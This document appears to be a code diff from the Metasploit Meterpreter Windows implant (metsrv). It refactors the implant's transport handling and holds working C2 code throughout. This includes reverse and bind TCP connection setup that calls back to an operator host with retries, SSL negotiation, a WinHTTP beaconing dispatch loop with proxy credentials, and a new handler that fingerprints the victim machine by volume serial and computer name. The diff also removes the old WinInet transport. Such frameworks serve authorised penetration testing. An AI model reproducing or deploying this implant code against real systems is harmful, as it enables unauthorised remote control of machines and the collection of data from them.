PBYTE hash = global_meterpreter_ssl_cert_hash;
|
||||
pRemote->transport = METERPRETER_TRANSPORT_HTTPS;
|
||||
dprintf("[SERVER] Using HTTPS transport: Hash set to: %02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
hash[0], hash[1], hash[2], hash[3], hash[4], hash[5], hash[6], hash[7], hash[8], hash[9], hash[10],
|
||||
hash[11], hash[12], hash[13], hash[14], hash[15], hash[16], hash[17], hash[18], hash[19]);
|
||||
|
||||
if (strcmp(hash, "METERPRETER_SSL_CERT_HASH") != 0)
|
||||
{
|
||||
pRemote->pCertHash = hash;
|
||||
dprintf("[SERVER] is validating hashes %p", pRemote->pCertHash);
|
||||
}
|
||||
}
|
||||
else if (wcscmp(global_meterpreter_transport + 12, L"TRANSPORT_HTTP") == 0)
|
||||
{
|
||||
pRemote->transport = METERPRETER_TRANSPORT_HTTP;
|
||||
dprintf("[SERVER] Using HTTP transport...");
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child processes
|
||||
SetHandleInformation((HANDLE)pRemote->fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
dprintf("[SERVER] Initializing tokens...");
|
||||
|
||||
// Store our thread handle
|
||||
pRemote->hServerThread = serverThread->handle;
|
||||
|
||||
@ -832,75 +889,48 @@ DWORD server_setup(SOCKET fd)
|
||||
pRemote->cpOrigDesktopName = _strdup(cDesktopName);
|
||||
pRemote->cpCurrentDesktopName = _strdup(cDesktopName);
|
||||
|
||||
// Process our default SSL-over-TCP transport
|
||||
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
|
||||
{
|
||||
dprintf("[SERVER] Flushing the socket handle...");
|
||||
server_socket_flush(pRemote);
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
dprintf("[SERVER] Initializing SSL...");
|
||||
if (!server_initialize_ssl(pRemote))
|
||||
if (bStageless)
|
||||
{
|
||||
// in the case of stageless payloads, fd contains a pointer to the extensions
|
||||
// to load
|
||||
dprintf("[SERVER] Loading stageless extensions");
|
||||
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
|
||||
}
|
||||
|
||||
// allocate the "next transport" information
|
||||
dprintf("[SERVER] creating transport");
|
||||
pRemote->nextTransport = transport_create(global_meterpreter_transport + 12, global_meterpreter_url + (bStageless ? 1 : 0));
|
||||
|
||||
while (pRemote->nextTransport)
|
||||
{
|
||||
pRemote->transport = pRemote->nextTransport;
|
||||
pRemote->nextTransport = NULL;
|
||||
|
||||
dprintf("[SERVER] initialising transport 0x%p", pRemote->transport->transport_init);
|
||||
if (pRemote->transport->transport_init && !pRemote->transport->transport_init(pRemote, fd))
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Negotiating SSL...");
|
||||
if (!server_negotiate_ssl(pRemote))
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %x, context %x", pRemote->transport, pRemote->transport->ctx);
|
||||
pRemote->transport->server_dispatch(pRemote, serverThread);
|
||||
|
||||
if (pRemote->transport->transport_deinit)
|
||||
{
|
||||
break;
|
||||
pRemote->transport->transport_deinit(pRemote);
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
if (bStageless)
|
||||
{
|
||||
// in the case of stageless payloads, fd contains a pointer to the extensions
|
||||
// to load
|
||||
dprintf("[SERVER] Loading stageless extensions");
|
||||
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
|
||||
server_dispatch(pRemote);
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(pRemote);
|
||||
}
|
||||
|
||||
if (pRemote->transport == METERPRETER_TRANSPORT_HTTP || pRemote->transport == METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
dprintf("[SERVER] Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
if (bStageless)
|
||||
{
|
||||
// in the case of stageless payloads, fd contains a pointer to the extensions
|
||||
// to load
|
||||
dprintf("[SERVER] Loading stageless extensions");
|
||||
load_stageless_extensions(pRemote, (ULONG_PTR)fd);
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Entering the main server dispatch loop for transport %d...", pRemote->transport);
|
||||
server_dispatch_http(pRemote, serverThread, global_expiration_timeout, global_comm_timeout, global_meterpreter_ua,
|
||||
global_meterpreter_proxy, global_meterpreter_proxy_username, global_meterpreter_proxy_password);
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(pRemote);
|
||||
pRemote->transport->transport_destroy(pRemote);
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Deregistering dispatch routines...");
|
||||
deregister_dispatch_routines(pRemote);
|
||||
} while (0);
|
||||
|
||||
if (pRemote->transport == METERPRETER_TRANSPORT_SSL)
|
||||
{
|
||||
dprintf("[SERVER] Closing down SSL...");
|
||||
server_destroy_ssl(pRemote);
|
||||
}
|
||||
|
||||
if (pRemote)
|
||||
{
|
||||
remote_deallocate(pRemote);
|
||||
}
|
||||
remote_deallocate(pRemote);
|
||||
}
|
||||
__except (exceptionfilter(GetExceptionCode(), GetExceptionInformation()))
|
||||
{
|
||||
@ -912,3 +942,78 @@ DWORD server_setup(SOCKET fd)
|
||||
dprintf("[SERVER] Finished.");
|
||||
return res;
|
||||
}
|
||||
|
||||
BOOL configure_tcp_connection(Remote* remote, SOCKET socket)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
size_t charsConverted;
|
||||
char asciiUrl[512];
|
||||
TcpTransportContext* ctx = (TcpTransportContext*)remote->transport->ctx;
|
||||
|
||||
wcstombs_s(&charsConverted, asciiUrl, sizeof(asciiUrl), remote->transport->url, sizeof(asciiUrl)-1);
|
||||
|
||||
if (strncmp(asciiUrl, "tcp", 3) == 0)
|
||||
{
|
||||
const int iRetryAttempts = 30;
|
||||
char* pHost = strstr(asciiUrl, "//") + 2;
|
||||
char* pPort = strrchr(pHost, ':') + 1;
|
||||
|
||||
// check if we're using IPv6
|
||||
if (asciiUrl[3] == '6')
|
||||
{
|
||||
char* pScopeId = strrchr(pHost, '?') + 1;
|
||||
*(pScopeId - 1) = '\0';
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv6 host %s port %S scopeid %S", pHost, pPort, pScopeId);
|
||||
result = reverse_tcp6(pHost, pPort, atol(pScopeId), iRetryAttempts, &ctx->fd);
|
||||
}
|
||||
else
|
||||
{
|
||||
u_short usPort = (u_short)atoi(pPort);
|
||||
|
||||
// if no host is specified, then we can assume that this is a bind payload, otherwise
|
||||
// we'll assume that the payload is a reverse_tcp one and the given host is valid
|
||||
if (*pHost == ':')
|
||||
{
|
||||
dprintf("[STAGELESS] IPv4 bind port %s", pPort);
|
||||
result = bind_tcp(usPort, &ctx->fd);
|
||||
}
|
||||
else
|
||||
{
|
||||
*(pPort - 1) = '\0';
|
||||
dprintf("[STAGELESS] IPv4 host %s port %s", pHost, pPort);
|
||||
result = reverse_tcp4(pHost, usPort, iRetryAttempts, &ctx->fd);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// assume that we have been given a valid socket given that there's no stageless information
|
||||
ctx->fd = socket;
|
||||
}
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Do not allow the file descriptor to be inherited by child processes
|
||||
SetHandleInformation((HANDLE)ctx->fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
dprintf("[SERVER] Flushing the socket handle...");
|
||||
server_socket_flush(remote);
|
||||
|
||||
dprintf("[SERVER] Initializing SSL...");
|
||||
if (!server_initialize_ssl(remote))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dprintf("[SERVER] Negotiating SSL...");
|
||||
if (!server_negotiate_ssl(remote))
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
@ -198,3 +198,33 @@ DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket)
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
DWORD request_core_machine_id(Remote* pRemote, Packet* pPacket)
|
||||
{
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
Packet* pResponse = packet_create_response(pPacket);
|
||||
|
||||
if (pResponse)
|
||||
{
|
||||
wchar_t buffer[MAX_PATH];
|
||||
if (GetSystemDirectory(buffer, MAX_PATH) != 0)
|
||||
{
|
||||
wchar_t computerName[MAX_PATH];
|
||||
DWORD computerNameSize = MAX_PATH;
|
||||
DWORD serialNumber;
|
||||
wchar_t* backslash = wcschr(buffer, L'\\');
|
||||
*(backslash + 1) = L'\0';
|
||||
|
||||
GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0);
|
||||
|
||||
GetComputerName(computerName, &computerNameSize);
|
||||
|
||||
_snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName);
|
||||
packet_add_tlv_wstring(pResponse, TLV_TYPE_MACHINE_ID, buffer);
|
||||
}
|
||||
|
||||
packet_transmit_response(res, pRemote, pResponse);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
@ -7,67 +7,36 @@
|
||||
#include "../../common/common.h"
|
||||
#include <winhttp.h>
|
||||
|
||||
#ifdef USE_WINHTTP
|
||||
|
||||
#define HOSTNAME_LEN 512
|
||||
#define URLPATH_LEN 1024
|
||||
|
||||
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
|
||||
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass)
|
||||
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd)
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet * packet = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
URL_COMPONENTS bits;
|
||||
DWORD ecount = 0;
|
||||
DWORD delay = 0;
|
||||
wchar_t tmpHostName[512];
|
||||
wchar_t tmpUrlPath[1024];
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
remote->expiration_time = 0;
|
||||
if (iExpirationTimeout > 0)
|
||||
dprintf("[WINHTTP] Initialising ...");
|
||||
|
||||
// configure proxy
|
||||
if (ctx->proxy && wcscmp(ctx->proxy, L"METERPRETER_PROXY") != 0)
|
||||
{
|
||||
remote->expiration_time = current_unix_timestamp() + iExpirationTimeout;
|
||||
}
|
||||
|
||||
remote->comm_timeout = iCommTimeout;
|
||||
remote->start_time = current_unix_timestamp();
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
|
||||
// Allocate the top-level handle
|
||||
if (!wcscmp(pMetProxy, L"METERPRETER_PROXY"))
|
||||
{
|
||||
remote->hInternet = WinHttpOpen(pMetUA, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
|
||||
dprintf("[DISPATCH] Configuring with proxy: %S", ctx->proxy);
|
||||
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_NAMED_PROXY, ctx->proxy, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
remote->hInternet = WinHttpOpen(pMetUA, WINHTTP_ACCESS_TYPE_NAMED_PROXY, pMetProxy, NULL, 0);
|
||||
ctx->internet = WinHttpOpen(ctx->ua, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
||||
}
|
||||
|
||||
if (!remote->hInternet)
|
||||
if (!ctx->internet)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed WinHttpOpen: %d", GetLastError());
|
||||
return 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Proxy auth, if required.
|
||||
if (wcscmp(pMetProxyUser, L"METERPRETER_USERNAME_PROXY") != 0)
|
||||
{
|
||||
if (!WinHttpSetOption(remote->hInternet, WINHTTP_OPTION_PROXY_USERNAME, pMetProxyUser, lstrlen(pMetProxyUser) + 1))
|
||||
{
|
||||
dprintf("[DISPATCH] Failed to set proxy username");
|
||||
}
|
||||
}
|
||||
else if(wcscmp(pMetProxyPass, L"METERPRETER_PASSWORD_PROXY") != 0)
|
||||
{
|
||||
if (!WinHttpSetOption(remote->hInternet, WINHTTP_OPTION_PROXY_PASSWORD, pMetProxyPass, lstrlen(pMetProxyPass) + 1))
|
||||
{
|
||||
dprintf("[DISPATCH] Failed to set proxy username");
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
|
||||
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", ctx->internet);
|
||||
|
||||
// The InternetCrackUrl method was poorly designed...
|
||||
ZeroMemory(tmpHostName, sizeof(tmpHostName));
|
||||
@ -82,46 +51,72 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
|
||||
bits.dwUrlPathLength = URLPATH_LEN - 1;
|
||||
bits.lpszUrlPath = tmpUrlPath;
|
||||
|
||||
WinHttpCrackUrl(remote->url, 0, 0, &bits);
|
||||
dprintf("[DISPATCH] About to crack URL: %S", remote->transport->url);
|
||||
WinHttpCrackUrl(remote->transport->url, 0, 0, &bits);
|
||||
|
||||
remote->uri = _wcsdup(tmpUrlPath);
|
||||
ctx->uri = _wcsdup(tmpUrlPath);
|
||||
|
||||
dprintf("[DISPATCH] Configured URL: %S", remote->uri);
|
||||
dprintf("[DISPATCH] Configured URI: %S", ctx->uri);
|
||||
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
|
||||
|
||||
// Allocate the connection handle
|
||||
remote->hConnection = WinHttpConnect(remote->hInternet, tmpHostName, bits.nPort, 0);
|
||||
if (!remote->hConnection)
|
||||
ctx->connection = WinHttpConnect(ctx->internet, tmpHostName, bits.nPort, 0);
|
||||
if (!ctx->connection)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed WinHttpConnect: %d", GetLastError());
|
||||
return 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
|
||||
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", ctx->connection);
|
||||
|
||||
// Bring up the scheduler subsystem.
|
||||
result = scheduler_initialize(remote);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
return scheduler_initialize(remote) == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD server_deinit_http_winhttp(Remote* remote)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
dprintf("[WINHTTP] Deinitialising ...");
|
||||
|
||||
WinHttpCloseHandle(ctx->connection);
|
||||
WinHttpCloseHandle(ctx->internet);
|
||||
|
||||
dprintf("[DISPATCH] calling scheduler_destroy...");
|
||||
scheduler_destroy();
|
||||
|
||||
dprintf("[DISPATCH] calling command_join_threads...");
|
||||
command_join_threads();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread)
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet* packet = NULL;
|
||||
THREAD* cpt = NULL;
|
||||
DWORD ecount = 0;
|
||||
DWORD delay = 0;
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
while (running)
|
||||
{
|
||||
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp())
|
||||
if (ctx->comm_timeout != 0 && ctx->comm_last_packet + ctx->comm_timeout < current_unix_timestamp())
|
||||
{
|
||||
dprintf("[DISPATCH] Shutting down server due to communication timeout");
|
||||
break;
|
||||
}
|
||||
|
||||
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp())
|
||||
if (ctx->expiration_time != 0 && ctx->expiration_time < current_unix_timestamp())
|
||||
{
|
||||
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
|
||||
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
|
||||
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), ctx->expiration_time);
|
||||
break;
|
||||
}
|
||||
|
||||
if (event_poll(serverThread->sigterm, 0))
|
||||
if (event_poll(dispatchThread->sigterm, 0))
|
||||
{
|
||||
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||
break;
|
||||
@ -134,7 +129,7 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
|
||||
// Update the timestamp for empty replies
|
||||
if (result == ERROR_EMPTY)
|
||||
{
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
ctx->comm_last_packet = current_unix_timestamp();
|
||||
}
|
||||
else if (result == ERROR_WINHTTP_SECURE_INVALID_CERT)
|
||||
{
|
||||
@ -159,7 +154,7 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
|
||||
continue;
|
||||
}
|
||||
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
ctx->comm_last_packet = current_unix_timestamp();
|
||||
|
||||
// Reset the empty count when we receive a packet
|
||||
ecount = 0;
|
||||
@ -170,19 +165,5 @@ DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* serverThread, int iEx
|
||||
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
|
||||
}
|
||||
|
||||
// Close WinInet handles
|
||||
WinHttpCloseHandle(remote->hConnection);
|
||||
WinHttpCloseHandle(remote->hInternet);
|
||||
|
||||
dprintf("[DISPATCH] calling scheduler_destroy...");
|
||||
scheduler_destroy();
|
||||
|
||||
dprintf("[DISPATCH] calling command_join_threads...");
|
||||
command_join_threads();
|
||||
|
||||
dprintf("[DISPATCH] leaving server_dispatch.");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
#endif
|
@ -1,7 +1,8 @@
|
||||
#ifndef _METERPRETER_SERVER_SETUP_WINHTTP
|
||||
#define _METERPRETER_SERVER_SETUP_WINHTTP
|
||||
|
||||
DWORD server_dispatch_http_winhttp(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
|
||||
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass);
|
||||
DWORD server_dispatch_http_winhttp(Remote* remote, THREAD* dispatchThread);
|
||||
BOOL server_init_http_winhttp(Remote* remote, SOCKET fd);
|
||||
BOOL server_deinit_http_winhttp(Remote* remote);
|
||||
|
||||
#endif
|
@ -1,167 +0,0 @@
|
||||
#include "metsrv.h"
|
||||
#include <wininet.h>
|
||||
|
||||
#ifndef USE_WINHTTP
|
||||
|
||||
#define HOSTNAME_LEN 512
|
||||
#define URLPATH_LEN 1024
|
||||
|
||||
DWORD server_dispatch_http_wininet(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
|
||||
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass)
|
||||
{
|
||||
BOOL running = TRUE;
|
||||
LONG result = ERROR_SUCCESS;
|
||||
Packet * packet = NULL;
|
||||
THREAD * cpt = NULL;
|
||||
URL_COMPONENTS bits;
|
||||
DWORD ecount = 0;
|
||||
DWORD delay = 0;
|
||||
wchar_t tmpHostName[HOSTNAME_LEN];
|
||||
wchar_t tmpUrlPath[URLPATH_LEN];
|
||||
|
||||
remote->expiration_time = 0;
|
||||
if (iExpirationTimeout > 0)
|
||||
{
|
||||
remote->expiration_time = current_unix_timestamp() + iExpirationTimeout;
|
||||
}
|
||||
|
||||
remote->comm_timeout = iCommTimeout;
|
||||
remote->start_time = current_unix_timestamp();
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
|
||||
// Allocate the top-level handle
|
||||
if (!wcscmp(pMetProxy, L"METERPRETER_PROXY"))
|
||||
{
|
||||
remote->hInternet = InternetOpen(pMetUA, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
remote->hInternet = InternetOpen(pMetUA, INTERNET_OPEN_TYPE_PROXY, pMetProxy, NULL, 0);
|
||||
}
|
||||
|
||||
if (!remote->hInternet)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed InternetOpen: %d", GetLastError());
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hInternet: 0x%.8x", remote->hInternet);
|
||||
|
||||
// The InternetCrackUrl method was poorly designed...
|
||||
ZeroMemory(tmpHostName, sizeof(tmpHostName));
|
||||
ZeroMemory(tmpUrlPath, sizeof(tmpUrlPath));
|
||||
ZeroMemory(&bits, sizeof(bits));
|
||||
|
||||
bits.dwStructSize = sizeof(bits);
|
||||
bits.dwHostNameLength = HOSTNAME_LEN - 1;
|
||||
bits.lpszHostName = tmpHostName;
|
||||
bits.dwUrlPathLength = URLPATH_LEN - 1;
|
||||
bits.lpszUrlPath = tmpUrlPath;
|
||||
|
||||
InternetCrackUrl(remote->url, 0, 0, &bits);
|
||||
|
||||
remote->uri = _wcsdup(tmpUrlPath);
|
||||
|
||||
dprintf("[DISPATCH] Configured URL: %S", remote->uri);
|
||||
dprintf("[DISPATCH] Host: %S Port: %u", tmpHostName, bits.nPort);
|
||||
|
||||
// Allocate the connection handle
|
||||
remote->hConnection = InternetConnect(remote->hInternet, tmpHostName, bits.nPort, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
|
||||
if (!remote->hConnection)
|
||||
{
|
||||
dprintf("[DISPATCH] Failed InternetConnect: %d", GetLastError());
|
||||
return 0;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Configured hConnection: 0x%.8x", remote->hConnection);
|
||||
|
||||
//authentication
|
||||
if (!(wcscmp(pMetProxyUser, L"METERPRETER_USERNAME_PROXY") == 0))
|
||||
{
|
||||
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_USERNAME, pMetProxyUser, (DWORD)wcslen(pMetProxyUser) + 1);
|
||||
InternetSetOption(remote->hConnection, INTERNET_OPTION_PROXY_PASSWORD, pMetProxyPass, (DWORD)wcslen(pMetProxyPass) + 1);
|
||||
dprintf("[DISPATCH] Proxy authentication configured : %S/%S", pMetProxyUser, pMetProxyPass);
|
||||
}
|
||||
|
||||
// Bring up the scheduler subsystem.
|
||||
result = scheduler_initialize(remote);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
return result;
|
||||
}
|
||||
|
||||
while (running)
|
||||
{
|
||||
if (remote->comm_timeout != 0 && remote->comm_last_packet + remote->comm_timeout < current_unix_timestamp())
|
||||
{
|
||||
dprintf("[DISPATCH] Shutting down server due to communication timeout");
|
||||
break;
|
||||
}
|
||||
|
||||
if (remote->expiration_time != 0 && remote->expiration_time < current_unix_timestamp())
|
||||
{
|
||||
dprintf("[DISPATCH] Shutting down server due to hardcoded expiration time");
|
||||
dprintf("Timestamp: %u Expiration: %u", current_unix_timestamp(), remote->expiration_time);
|
||||
break;
|
||||
}
|
||||
|
||||
if (event_poll(serverThread->sigterm, 0))
|
||||
{
|
||||
dprintf("[DISPATCH] server dispatch thread signaled to terminate...");
|
||||
break;
|
||||
}
|
||||
|
||||
dprintf("[DISPATCH] Reading data from the remote side...");
|
||||
result = packet_receive(remote, &packet);
|
||||
if (result != ERROR_SUCCESS)
|
||||
{
|
||||
|
||||
// Update the timestamp for empty replies
|
||||
if (result == ERROR_EMPTY)
|
||||
{
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
}
|
||||
|
||||
if (ecount < 10)
|
||||
{
|
||||
delay = 10 * ecount;
|
||||
}
|
||||
else
|
||||
{
|
||||
delay = 100 * ecount;
|
||||
}
|
||||
|
||||
ecount++;
|
||||
|
||||
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
|
||||
Sleep(min(10000, delay));
|
||||
continue;
|
||||
}
|
||||
|
||||
remote->comm_last_packet = current_unix_timestamp();
|
||||
|
||||
// Reset the empty count when we receive a packet
|
||||
ecount = 0;
|
||||
|
||||
dprintf("[DISPATCH] Returned result: %d", result);
|
||||
|
||||
running = command_handle(remote, packet);
|
||||
dprintf("[DISPATCH] command_process result: %s", (running ? "continue" : "stop"));
|
||||
}
|
||||
|
||||
// Close WinInet handles
|
||||
InternetCloseHandle(remote->hConnection);
|
||||
InternetCloseHandle(remote->hInternet);
|
||||
|
||||
dprintf("[DISPATCH] calling scheduler_destroy...");
|
||||
scheduler_destroy();
|
||||
|
||||
dprintf("[DISPATCH] calling command_join_threads...");
|
||||
command_join_threads();
|
||||
|
||||
dprintf("[DISPATCH] leaving server_dispatch.");
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
#endif
|
@ -1,7 +0,0 @@
|
||||
#ifndef _METERPRETER_SERVER_SETUP_WININET
|
||||
#define _METERPRETER_SERVER_SETUP_WININET
|
||||
|
||||
DWORD server_dispatch_http_wininet(Remote * remote, THREAD* serverThread, int iExpirationTimeout, int iCommTimeout,
|
||||
wchar_t* pMetUA, wchar_t* pMetProxy, wchar_t* pMetProxyUser, wchar_t* pMetProxyPass);
|
||||
|
||||
#endif
|
@ -655,7 +655,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\remote_dispatch.c" />
|
||||
<ClCompile Include="..\..\source\server\remote_dispatch_common.c" />
|
||||
<ClCompile Include="..\..\source\server\server_setup.c" />
|
||||
<ClCompile Include="..\..\source\server\server_setup_win.c" />
|
||||
<ClCompile Include="..\..\source\server\win\server_setup_winhttp.c">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">NotUsing</PrecompiledHeader>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
|
||||
@ -698,7 +698,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<PrecompiledHeaderOutputFile Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
</PrecompiledHeaderOutputFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\source\server\win\server_setup_wininet.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="..\..\source\server\win\metsrv.def" />
|
||||
@ -708,7 +707,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ClInclude Include="..\..\source\server\metsrv.h" />
|
||||
<ClInclude Include="..\..\source\server\remote_dispatch.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_setup_winhttp.h" />
|
||||
<ClInclude Include="..\..\source\server\win\server_setup_wininet.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
@ -728,4 +726,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
</Project>
|
Loading…
Reference in New Issue
Block a user